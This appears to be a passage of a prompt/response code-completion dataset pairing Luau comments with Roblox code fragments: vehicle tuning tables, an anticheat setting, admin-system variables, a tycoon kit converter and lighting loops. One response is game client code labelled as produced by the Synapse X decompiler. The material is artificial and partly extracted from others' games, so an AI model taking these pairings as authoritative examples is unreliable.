	i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(rl) do
	i.BrickColor = reverseOff
	i.Material = Enum.Material.SmoothPlastic
end
for _,a in pairs(sl) do
	for _,i in pairs(a) do
		i.Enabled = false
	end
end
script.Parent.Parent.StockUI.Right.TurnSignals.Left.ImageTransparency = 0.7
script.Parent.Parent.StockUI.Right.TurnSignals.Right.ImageTransparency = 0.7
script.Parent.Parent.StockUI.Right.WarningLights.LoBeam.ImageTransparency = 0.7
script.Parent.Parent.StockUI.Right.WarningLights.HiBeam.ImageTransparency = 0.7


Prompt: --[[Weight and CG]]

Response:
	Tune.Weight			= 3500		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		10		,
	 --[[Height]]		5.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible

	--Unsprung Weight
	Tune.FWheelDensity	= 1		-- Front Wheel Density
	Tune.RWheelDensity	= 1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]

	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members


Prompt:
-- The timespan that the anticheat will account for. Lower values
-- means potential cheats will be stopped sooner, but also means
-- lower tolerance for network jitter.

Response:
config.TimeSpan = 1

return config


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return function(p1)
	print("starting");
	local l__LocalPlayer__1 = game.Players.LocalPlayer;
	local v2 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
	local v3 = game["Run Service"];
	local l__UserInputService__4 = game:GetService("UserInputService");
	local l__TweenService__5 = game:GetService("TweenService");
	local l__mouse__6 = l__LocalPlayer__1:GetMouse();
	local l__MinigameBackout__7 = script:FindFirstAncestor("MainUI").MinigameBackout;
	p1.stopcam = true;
	p1.freemouse = true;
	p1.hideplayers = 2;
	local v8 = CFrame.new(0, 0, 0);
	local v9 = tick() + 1;
	local v10 = tick() + 1;
	local l__Padlock__11 = workspace:FindFirstChild("Padlock", true);
	local l__Selector__12 = l__Padlock__11:FindFirstChild("Selector", true);
	l__Padlock__11.ConfirmUI.Enabled = l__UserInputService__4.GamepadEnabled;
	l__Selector__12.Visible = l__UserInputService__4.GamepadEnabled;
	local l__WorldCFrame__13 = workspace:FindFirstChild("CamAttachPadlock", true).WorldCFrame;
	p1.camShaker:ShakeOnce(2, 0.5, 0.5, 8);
	local l__CFrame__1 = p1.cam.CFrame;
	local l__FieldOfView__2 = p1.cam.FieldOfView;
	local u3 = false;
	task.spawn(function()
		for v14 = 1, 100000 do
			task.wait();
			local v15 = l__TweenService__5:GetValue((1 - math.abs(tick() - v9)) / 1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
			if not (tick() <= v9) then
				break;
			end;
			p1.cam.CFrame = l__CFrame__1:Lerp(l__WorldCFrame__13, v15) * p1.csgo;
			p1.cam.FieldOfView = l__FieldOfView__2 + (30 - l__FieldOfView__2) * v15;
		end;
		p1.cam.CFrame = l__WorldCFrame__13 * p1.csgo;
		for v16 = 1, 10000000000000 do
			task.wait();
			p1.cam.CFrame = l__WorldCFrame__13 * p1.csgo;
			if u3 == true then
				break;
			end;
		end;
	end);
	local l__ActivateEventPrompt__17 = l__Padlock__11:FindFirstChild("ActivateEventPrompt");
	l__ActivateEventPrompt__17.Enabled = false;
	local l__AnimationController__18 = l__Padlock__11.AnimationController;
	local v19 = {};
	for v20, v21 in pairs(l__Padlock__11:FindFirstChild("Animations"):GetChildren()) do
		v19[v21.Name] = l__AnimationController__18:LoadAnimation(v21);
	end;
	v19.start:Play(0.1);
	v19.idle:Play(0.2);
	local v22 = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
	local l__MinigameBackout__23 = script.Parent.Parent.Parent.Parent.MinigameBackout;
	l__MinigameBackout__23.Visible = true;
	l__TweenService__5:Create(l__MinigameBackout__23, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 3, true), {
		ImageColor3 = Color3.fromRGB(107, 129, 179),
		Size = UDim2.new(0.1, 60, 0.1, 60)
	}):Play();
	local u4 = nil;
	local u5 = nil;
	local u6 = nil;
	local u7 = nil;
	local u8 = v10;
	local function u9(p2, p3)
		p2.NumberUI.TextLabel.Text = p3;
		for v24, v25 in pairs(p2:GetChildren()) do
			if v25:IsA("BasePart") and v25:FindFirstChild("NumberUI") then
				local v26 = 1;
				if v25.Name == "NumberTop" then
					v26 = 2;
				elseif v25.Name == "NumberBelow" then
					v26 = -1;
				elseif v25.Name == "NumberBottom" then
					v26 = -2;
				end;
				local v27 = (p3 + v26) % 10;
				if v27 == nil then
					warn("idk lol");
					v27 = 0;
				end;
				v25.NumberUI.TextLabel.Text = v27;
			end;
		end;
	end;
	local function u10(p4, p5)
		if tick() < u8 then
			return;
		end;
		if p5 == nil then
			p5 = 1;
		end;
		local v28 = (tonumber(p4.NumberUI.TextLabel.Text) + p5) % 10;
		if v28 == nil then
			warn("idk lol");
			v28 = 0;
		end;
		p4.Sound.Pitch = 1 + p5 / 10 + v28 / 30;
		p4.Sound:Play();
		u9(p4, v28);
		local l__Weld__29 = p4.Weld;
		l__Weld__29.C0 = l__Weld__29.C0 * CFrame.Angles(math.rad(45 * p5), 0, 0);
		l__TweenService__5:Create(p4.Weld, TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
			C0 = CFrame.new(0, 0, 0)
		}):Play();
	end;
	local function u11()
		v19.input:Play();
		u8 = tick() + 1;
		local v30 = "";
		for v31 = 1, 5 do
			for v32, v33 in pairs(l__Padlock__11:GetDescendants()) do
				if v33.Name == "Number" and v33:IsA("BasePart") and v33:GetAttribute("ID") == v31 then
					v30 = v30 .. tostring(v33.NumberUI.TextLabel.Text);
				end;
			end;
		end;
		p1.remotes:WaitForChild("PL"):FireServer(v30);
		wait(0.3);
		for v34, v35 in pairs(l__Padlock__11:GetDescendants()) do
			if v35.Name == "Number" and v35:IsA("BasePart") then
				local l__Weld__36 = v35.Weld;
				l__Weld__36.C0 = l__Weld__36.C0 * CFrame.Angles(3.141592653589793, 0, 0);
				l__TweenService__5:Create(v35.Weld, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
					C0 = CFrame.new(0, 0, 0)
				}):Play();
				u9(v35, 0);
			end;
		end;
	end;
	local function u12()
		if u3 == false then
			pcall(function()
				u4:Disconnect();
				u5:Disconnect();
				u6:Disconnect();
				u7:Disconnect();
			end);
			u3 = true;
			p1.hideplayers = 0;
			l__MinigameBackout__23.Visible = false;
			v19["end"]:Play();
			v19.idle:Stop();
			l__Padlock__11.ConfirmUI.Enabled = false;
			l__Selector__12.Visible = false;
			local l__basecamcf__37 = p1.basecamcf;
			local v38 = tick() + 0.5;
			p1.camShaker:ShakeOnce(2, 0.5, 0.5, 1);
			local l__CFrame__13 = p1.cam.CFrame;
			local l__FieldOfView__14 = p1.cam.FieldOfView;
			task.spawn(function()
				for v39 = 1, 100000 do
					task.wait();
					local v40 = l__TweenService__5:GetValue((0.5 - math.abs(tick() - v38)) / 0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
					if not (tick() <= v38) then
						break;
					end;
					p1.cam.CFrame = l__CFrame__13:Lerp(p1.basecamcf, v40) * p1.csgo;
					p1.cam.FieldOfView = l__FieldOfView__14 + (p1.fovspring - l__FieldOfView__14) * v40;
				end;
				p1.stopcam = false;
				p1.freemouse = false;
				l__ActivateEventPrompt__17.Enabled = l__Padlock__11.Padlocked.Value;
			end);
		end;
	end;
	local u15 = 1;
	u4 = l__UserInputService__4.InputBegan:Connect(function(p6)
		if p6.UserInputType == Enum.UserInputType.MouseButton1 or p6.UserInputType == Enum.UserInputType.Touch then
			local v41 = p1.cam:ScreenPointToRay(p6.Position.X, p6.Position.Y);
			local v42, v43 = workspace:FindPartOnRay(Ray.new(v41.Origin, v41.Direction * 1000), p1.char);
			if v42.Name == "Number" then
				u10(v42);
				p1.camShaker:ShakeOnce(0.1, 2, 0.06, 0.2);
				return;
			end;
			if v42.Name == "ConfirmButton" or v42.Name == "ConfirmUIHolder" then
				u11();
				return;
			end;
		elseif p6.UserInputType == Enum.UserInputType.MouseButton2 then
			local v44 = p1.cam:ScreenPointToRay(p6.Position.X, p6.Position.Y);
			local v45, v46 = workspace:FindPartOnRay(Ray.new(v44.Origin, v44.Direction * 1000), p1.char);
			if v45.Name == "Number" then
				u10(v45, -1);
				p1.camShaker:ShakeOnce(0.1, 2, 0.06, 0.2);
				return;
			end;
			if v45.Name == "ConfirmButton" then
				u11();
				return;
			end;
		else
			if p6.KeyCode == Enum.KeyCode.ButtonA then
				u11();
				return;
			end;
			if p6.KeyCode == Enum.KeyCode.ButtonB then
				u12();
				return;
			end;
			if p6.KeyCode == Enum.KeyCode.ButtonX or p6.KeyCode == Enum.KeyCode.DPadUp then
				for v47, v48 in pairs(l__Padlock__11:GetDescendants()) do
					if v48.Name == "Number" and v48:IsA("BasePart") and v48:GetAttribute("ID") == u15 then
						u10(v48);
					end;
				end;
				return;
			end;
			if p6.KeyCode == Enum.KeyCode.DPadDown then
				for v49, v50 in pairs(l__Padlock__11:GetDescendants()) do
					if v50.Name == "Number" and v50:IsA("BasePart") and v50:GetAttribute("ID") == u15 then
						u10(v50, -1);
					end;
				end;
				return;
			end;
			if p6.KeyCode == Enum.KeyCode.DPadLeft or p6.KeyCode == Enum.KeyCode.DPadRight then
				if p6.KeyCode == Enum.KeyCode.DPadRight then
					u15 = math.clamp(u15 + 1, 1, 5);
				else
					u15 = math.clamp(u15 - 1, 1, 5);
				end;
				for v51, v52 in pairs(l__Padlock__11:GetDescendants()) do
					if v52.Name == "Number" and v52:IsA("BasePart") and v52:GetAttribute("ID") == u15 then
						l__Selector__12.Parent = v52.NumberUI.TextLabel;
					end;
				end;
			end;
		end;
	end);
	u5 = l__MinigameBackout__23.MouseButton1Down:Connect(u12);
	u6 = l__Padlock__11.Padlocked.Changed:connect(function()
		if l__Padlock__11.Padlocked.Value == false then
			u12();
		end;
	end);
	u7 = l__LocalPlayer__1.Character.Humanoid.HealthChanged:Connect(function()
		if l__LocalPlayer__1.Character.Humanoid.Health < 0.1 then
			u12();
		end;
	end);
	if l__Padlock__11.Padlocked.Value == false then
		u12();
	end;
	spawn(function()
		local v53, v54, v55 = pairs(l__Padlock__11:GetDescendants());
		while true do
			local v56, v57 = v53(v54, v55);
			if not v56 then
				break;
			end;
			if v57.Name == "Number" and v57:IsA("BasePart") then
				delay(v57:GetAttribute("ID") / 20, function()
					l__TweenService__5:Create(v57, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 1, true), {
						Color = Color3.fromRGB(159, 160, 221)
					}):Play();
				end);
			end;
			if v57.Name == "ConfirmButton" and v57:IsA("BasePart") then
				delay(2, function()
					l__TweenService__5:Create(v57, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 0, true), {
						Color = Color3.fromRGB(139, 255, 158)
					}):Play();
				end);
			end;
		end;
	end);
	if u3 == true then
		return;
	end;
end;


Prompt: -- ROBLOX deviation: using FileSystemService instead of fs

Response:
local getFileSystemService = require(CurrentModule.getFileSystemService)
local typesModule = require(Packages.JestTypes)
type Config_Path = typesModule.Config_Path

local function createDirectory(path: Config_Path): ()
	local FileSystemService = getFileSystemService()

	local ok, result, hasReturned = pcall(function()
		-- ROBLOX deviation: using FileSystemService instead of fs
		FileSystemService:CreateDirectories(path)
	end)
	if not ok then
		local e = result
		-- ROBLOX deviation START: additional error handling for AccessDenied case
		if e:find("Error%(13%): Access Denied%. Path is outside of sandbox%.") then
			error(
				"Provided path is invalid: you likely need to provide a different argument to --fs.readwrite.\n"
					.. "You may need to pass in `--fs.readwrite=$PWD`"
			)
		end
		-- ROBLOX deviation END

		-- ROBLOX FIXME: investigate how to catch directory exists error
		if e.code ~= "EEXIST" then
			error(e)
		end
	end
	if hasReturned then
		return result
	end
end
exports.default = createDirectory
return exports


Prompt: --CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR

Response:
local TycoonName = "Batman Tycoon"

if game.Workspace:FindFirstChild(TycoonName) then
	local s = nil
	local bTycoon = game.Workspace:FindFirstChild(TycoonName)
	local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit")
	local new_Collector = zTycoon['READ ME'].Script:Clone()
	local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone()
	if zTycoon then
		for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo'
			if v then
				s = v.PurchaseHandler:Clone()
				v:Destroy()
			end
		end
		-- Now make it compatiable
		if s ~= nil then
			for i,v in pairs(bTycoon.Tycoons:GetChildren()) do
				local New_Tycoon = v:Clone()
				New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy()
				s:Clone().Parent = New_Tycoon
				local Team_C = Instance.new('BrickColorValue',New_Tycoon)
				Team_C.Value = BrickColor.new(tostring(v.Name))
				Team_C.Name = "TeamColor"
				New_Tycoon.Name = v.TeamName.Value
				New_Tycoon.Cash.Name = "CurrencyToCollect"
				New_Tycoon.Parent = zTycoon.Tycoons
				New_Tycoon.TeamName:Destroy()
				v:Destroy()
				New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy()
				local n = new_Collector:Clone()
				n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0')
				n.Disabled = false
				New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy()
				local g = Gate:Clone()
				g.Parent = New_Tycoon.Gate['Touch to claim ownership!']
			end
		else
			error("Please don't tamper with script names or this won't work!")
		end
	else
		error("Please don't change the name of our tycoon kit or it won't work!")
	end
	bTycoon:Destroy()
	Gate:Destroy()
	new_Collector:Destroy()
	print('Transfer complete! :)')
else
	error("Check if you spelt the kit's name wrong!")
end


Prompt:
---------------------------
--[[
	--Main anchor point is the DriveSeat <car.DriveSeat>

	Usage:
		MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld"  **Applies to Motor welds only
		ModelWeld(Model,MainPart)
	Example:
		MakeWeld(car.DriveSeat,misc.PassengerSeat)
		MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
		ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here


Prompt:
--[[

	These are nothing but simple `TweenInfo.new()` configuration tables. Feel free to play with them
		if you want to adjust the different presets!

]]


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto", "Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 3.4			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3			,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.5			,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2			,
		--[[ 3 ]]		1.4			,
		--[[ 4 ]]		1.1			,
		--[[ 5 ]]		0.83		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt:
--[[
	Novena Constraint Type: Motorcycle
			The Bike Chassis

					RikOne2 | Enjin
--]]

Response:
local bike = script.Parent.Bike.Value
local _Tune = require(bike["Tuner"])
local handler = bike:WaitForChild("AC6_Sound")

local on = 0
local mult=0
local det=0
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0

local SetPitch = .1
local SetRev = 1.8

local vol = .7 --Set the volume for everything below

handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))


Prompt: -- A fully qualified outfit is one that has both arms, both legs, and a torso.

Response:
local function isFullyQualifiedOutfit(assets)
	for _, assetTypeId in pairs(bodyPartAssetTypeIds) do
		if not assets[assetTypeId] then
			return false
		end
	end

	return true
end

return function(outfit)
	return function(store)
		local fullReset = outfit.isEditable or isFullyQualifiedOutfit(outfit.assets)

		-- Do a full reset on a user costume, or a preset fully qualified one. Otherwise swap the existing parts.
		store:dispatch(EquipOutfit(outfit.assets, fullReset))

		if true then
			local selectedItem = store:getState().AvatarExperience.AvatarScene.TryOn.SelectedItem.itemId
			if selectedItem then
				store:dispatch(ClearSelectedItem())
				store:dispatch(CloseAllItemDetails(store:getState().Navigation.history))
			end
		end

		if fullReset then
			-- Preset costumes should not replace body colors.
			if not FFlagAvatarEditorKeepYourColor or
				(FFlagAvatarEditorKeepYourColor and not AvatarEditorUtils.isPresetCostume(outfit)) then
				store:dispatch(SetBodyColors(outfit.bodyColors))
			end
			store:dispatch(SetAvatarScales(outfit.scales))
			store:dispatch(SetAvatarType(outfit.avatarType))
		end
	end
end


Prompt: -- Gui Elements

Response: local ButtonText = script.Parent:FindFirstChild("ButtonText")


Prompt: --// Special Variables

Response:
return function(Vargs, GetEnv)
	local env = GetEnv(nil, {script = script})
	setfenv(1, env)

	local server = Vargs.Server
	local service = Vargs.Service

	local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
	local function Init()
		Functions = server.Functions
		Admin = server.Admin
		Anti = server.Anti
		Core = server.Core
		HTTP = server.HTTP
		Logs = server.Logs
		Remote = server.Remote
		Process = server.Process
		Variables = server.Variables
		Settings = server.Settings

		Variables.BanMessage = Settings.BanMessage
		Variables.LockMessage = Settings.LockMessage

		for _, v in ipairs(Settings.MusicList or {}) do table.insert(Variables.MusicList, v) end
		for _, v in ipairs(Settings.InsertList or {}) do table.insert(Variables.InsertList, v) end
		for _, v in ipairs(Settings.CapeList or {}) do table.insert(Variables.Capes, v) end

		Variables.Init = nil
		Logs:AddLog("Script", "Variables Module Initialized")
	end

	local function AfterInit(data)
		server.Variables.CodeName = server.Functions:GetRandom()

		Variables.RunAfterInit = nil
		Logs:AddLog("Script", "Finished Variables AfterInit")
	end

	local Lighting = service.Lighting
	server.Variables = {
		Init = Init,
		RunAfterInit = AfterInit,
		ZaWarudo = false,
		CodeName = math.random(),
		IsStudio = service.RunService:IsStudio(), -- Used to check if Adonis is running inside Roblox Studio as things like TeleportService and DataStores (if API Access is disabled) do not work in Studio
		AuthorizedToReply = {},
		FrozenObjects = {},
		ScriptBuilder = {},
		CachedDonors = {},
		BanMessage = "Banned",
		LockMessage = "Not Whitelisted",
		DonorPass = {1348327, 1990427, 1911740, 167686, 98593, "6878510605", 5212082, 5212081}, --// Strings are items, numbers are gamepasses
		WebPanel_Initiated = false,
		LightingSettings = {
			Ambient = Lighting.Ambient,
			OutdoorAmbient = Lighting.OutdoorAmbient,
			Brightness = Lighting.Brightness,
			TimeOfDay = Lighting.TimeOfDay,
			FogColor = Lighting.FogColor,
			FogEnd = Lighting.FogEnd,
			FogStart = Lighting.FogStart,
			GlobalShadows = Lighting.GlobalShadows,
			Outlines = Lighting.Outlines,
			ShadowColor = Lighting.ShadowColor,
			ColorShift_Bottom = Lighting.ColorShift_Bottom,
			ColorShift_Top = Lighting.ColorShift_Top,
			GeographicLatitude = Lighting.GeographicLatitude,
			Name = Lighting.Name,
		},

		OriginalLightingSettings = {
			Ambient = Lighting.Ambient,
			OutdoorAmbient = Lighting.OutdoorAmbient,
			Brightness = Lighting.Brightness,
			TimeOfDay = Lighting.TimeOfDay,
			FogColor = Lighting.FogColor,
			FogEnd = Lighting.FogEnd,
			FogStart = Lighting.FogStart,
			GlobalShadows = Lighting.GlobalShadows,
			Outlines = Lighting.Outlines,
			ShadowColor = Lighting.ShadowColor,
			ColorShift_Bottom = Lighting.ColorShift_Bottom,
			ColorShift_Top = Lighting.ColorShift_Top,
			GeographicLatitude = Lighting.GeographicLatitude,
			Name = Lighting.Name,
			Sky = Lighting:FindFirstChildOfClass("Sky") and Lighting:FindFirstChildOfClass("Sky"):Clone(),
		},

		PMtickets = {};

		HelpRequests = {};

		Objects = {};

		InsertedObjects = {};

		CommandLoops = {};

		SavedTools = {};

		Waypoints = {};

		Cameras = {};

		Jails = {};

		LocalEffects = {};

		SizedCharacters = {};

		BundleCache = {};

		TrackingTable = {};

		DisguiseBindings = {};

		IncognitoPlayers = {};

		MusicList = {
			{Name = "crabrave", 				ID = 5410086218},
			{Name = "shiawase", 				ID = 5409360995},
			{Name = "unchartedwaters", 			ID = 7028907200},
			{Name = "glow", 				ID = 7028856935},
			{Name = "good4me", 				ID = 7029051434},
			{Name = "bloom", 				ID = 7029024726},
			{Name = "safe&sound", 				ID = 7024233823},
			{Name = "shaku", 				ID = 7024332460},
			{Name = "fromdust&ashes", 			ID = 7024254685},
			{Name = "loveis", 				ID = 7029092469},
			{Name = "playitcool", 				ID = 7029017448},
			{Name = "still", 				ID = 7023771708},
			{Name = "sleep", 				ID = 7023407320},
			{Name = "whatareyouwaitingfor", 		ID = 7028977687},
			{Name = "balace", 				ID = 7024183256},
			{Name = "brokenglass", 				ID = 7028799370},
			{Name = "thelanguageofangels", 			ID = 7029031068},
			{Name = "imprints", 				ID = 7023704173},
			{Name = "foundareason", 			ID = 7028919492},
			{Name = "newhorizons", 				ID = 7028518546},
			{Name = "whatsitlike", 				ID = 7028997537},
			{Name = "destroyme",				ID = 7023617400},
			{Name = "consellations", 			ID = 7023733671},
			{Name = "wish", 				ID = 7023670701},
			{Name = "samemistake", 				ID = 7024101188},
			{Name = "whereibelong", 			ID = 7028527348},
		};

		InsertList = {};

		Capes = {
			{Name = "crossota", 	Material = "Neon", 	Color = "Cyan", 			ID = 420260457},
			{Name = "jamiejr99", 	Material = "Neon", 	Color = "Cashmere",			ID = 429297485},
			{Name = "new yeller", 	Material = "Fabric", 	Color = "New Yeller"},
			{Name = "pastel blue", 	Material = "Fabric", 	Color = "Pastel Blue"},
			{Name = "dusty rose", 	Material = "Fabric", 	Color = "Dusty Rose"},
			{Name = "cga brown", 	Material = "Fabric", 	Color = "CGA brown"},
			{Name = "random", 	Material = "Fabric", 	Color = (BrickColor.random()).Name},
			{Name = "shiny", 	Material = "Plastic", 	Color = "Institutional white",		Reflectance = 1},
			{Name = "gold",		Material = "Plastic", 	Color = "Bright yellow",		Reflectance = 0.4},
			{Name = "kohl",		Material = "Fabric", 	Color = "Really black", 		ID = 108597653},
			{Name = "script", 	Material = "Plastic", 	Color = "White", 			ID = 151359194},
			{Name = "batman", 	Material = "Fabric", 	Color = "Institutional white", 		ID = 108597669},
			{Name = "epix", 	Material = "Plastic", 	Color = "Really black", 		ID = 149442745},
			{Name = "superman", 	Material = "Fabric", 	Color = "Bright blue", 			ID = 108597677},
			{Name = "swag", 	Material = "Fabric", 	Color = "Pink", 			ID = 109301474},
			{Name = "donor", 	Material = "Plastic", 	Color = "White", 			ID = 149009184},
			{Name = "gomodern", 	Material = "Plastic", 	Color = "Really black", 		ID = 149438175},
			{Name = "admin", 	Material = "Plastic", 	Color = "White", 			ID = 149092195},
			{Name = "giovannis", 	Material = "Plastic", 	Color = "White", 			ID = 149808729},
			{Name = "godofdonuts", 	Material = "Plastic", 	Color = "Institutional white",		ID = 151034443},
			{Name = "host", 	Material = "Plastic", 	Color = "Really black", 		ID = 152299000},
			{Name = "cohost", 	Material = "Plastic", 	Color = "Really black", 		ID = 152298950},
			{Name = "trainer",	Material = "Plastic", 	Color = "Really black", 		ID = 152298976},
			{Name = "ba", 		Material = "Plastic", 	Color = "White", 			ID = 172528001}
		};

		Blacklist = {
			Enabled = (server.Settings.BlacklistEnabled ~= nil and server.Settings.BlacklistEnabled) or true,
			Lists = {
				Settings = server.Settings.Blacklist
			},
		};

		Whitelist = {
			Enabled = server.Settings.WhitelistEnabled,
			Lists = {
				Settings = server.Settings.Whitelist
			},
		};
	}
end


Prompt: -- declarations

Response:
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sGettingUp = newSound("rbxasset://sounds/action_get_up.mp3")
local sDied = newSound("")
local sFreeFalling = newSound("rbxasset://sounds/action_falling.mp3")
local sJumping = newSound("rbxasset://sounds/action_jump.mp3")
local sLanding = newSound("rbxasset://sounds/action_jump_land.mp3")
local sSplash = newSound("rbxasset://sounds/impact_water.mp3")
local sRunning = newSound("rbxasset://sounds/action_footsteps_plastic.mp3")
sRunning.Looped = true
local sSwimming = newSound("rbxasset://sounds/action_swim.mp3")
sSwimming.Looped = true
local sClimbing = newSound("rbxasset://sounds/action_footsteps_plastic.mp3")
sClimbing.Looped = true

local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")

local prevState = "None"


Prompt:
--[=[
	@return any
	Returns the top-level value held by the property. This will
	either be the initial value set, or the last value set
	with `Set()`.

	```lua
	remoteProperty:Set("Data")
	print(remoteProperty:Get()) --> "Data"
	```
]=]

Response:
function RemoteProperty:Get(): any
	return self._value
end


Prompt: --[[Steering]]

Response:
	Tune.SteerInner		= 40		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 42		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .08		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .1		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 150		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 25		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree

	--Steer Gyro Tuning
	Tune.SteerD			= 1000		-- Steering Dampening
	Tune.SteerMaxTorque	= 5000		-- Steering Force
	Tune.SteerP			= 100000	-- Steering Aggressiveness


Prompt: -- NumberValue to store the user's preferred speed

Response: local uiSpeedUser = script.uiSpeedUser


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 0.5 -- cooldown for use of the tool again

BoneModelName = "Fire rise" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: ---Simply process a completed message.

Response:
local COMPLETED_MESSAGE_PROCESSOR = 1

local module = {}
local methods = {}
methods.__index = methods

function methods:SendSystemMessageToSelf(message, channelObj, extraData)
	local messageData =
	{
		ID = -1,
		FromSpeaker = nil,
		SpeakerUserId = 0,
		OriginalChannel = channelObj.Name,
		IsFiltered = true,
		MessageLength = string.len(message),
		MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)),
		Message = message,
		MessageType = ChatConstants.MessageTypeSystem,
		Time = os.time(),
		ExtraData = extraData,
	}

	channelObj:AddMessageToChannel(messageData)
end

function module.new()
	local obj = setmetatable({}, methods)

	obj.COMMAND_MODULES_VERSION = COMMAND_MODULES_VERSION

	obj.KEY_COMMAND_PROCESSOR_TYPE = KEY_COMMAND_PROCESSOR_TYPE
	obj.KEY_PROCESSOR_FUNCTION = KEY_PROCESSOR_FUNCTION

	obj.IN_PROGRESS_MESSAGE_PROCESSOR = IN_PROGRESS_MESSAGE_PROCESSOR
	obj.COMPLETED_MESSAGE_PROCESSOR = COMPLETED_MESSAGE_PROCESSOR

	return obj
end

return module.new()


Prompt: --create tables:

Response:
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "a" then
		table.insert(a, 1, part)
	end
end
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "b" then
		table.insert(b, 1, part)
	end
end
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "c" then
		table.insert(c, 1, part)
	end
end
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "d" then
		table.insert(d, 1, part)
	end
end
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "e" then
		table.insert(e, 1, part)
	end
end
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "f" then
		table.insert(f, 1, part)
	end
end

function on(T)
	for i, part in pairs (T) do
		if part:FindFirstChild("SurfaceLight") then
			part.SurfaceLight.Enabled = true
		end
	    if part:FindFirstChild("SpotLight") then
			part.SpotLight.Enabled = true
			part.Material = "Neon"
		end
	end
end

function off(T)
	for i, part in pairs (T) do
		if part:FindFirstChild("SurfaceLight") then
			part.SurfaceLight.Enabled = false
		end
	    if part:FindFirstChild("SpotLight") then
			part.SpotLight.Enabled = false
			part.Material = "SmoothPlastic"
		end
	end
end

function run() --mian

	off(a)--turns all lights off
	off(b)
	off(c)
	off(d)
	off(e)
	off(f)

	if pattern == "Flash" then
		repeat
			local w = 0.05
			off(c)
			off(d)
			on(a)
			off(b)
			off(e)
			on(f)
			wait(w)

			off(a)
			off(b)
			off(e)
			off(f)
			on(c)
			on(d)
			wait(w)

			off(a)
			on(b)
			on(e)
			off(f)
			off(c)
			off(d)
			wait(w)

		until pattern ~= "Flash"
		return
	end

	if pattern == "Left" then
		repeat
		local w = 0.15
		on(f)
		wait(w)
		on(e)
		wait(w)
		on(d)
		wait(w)
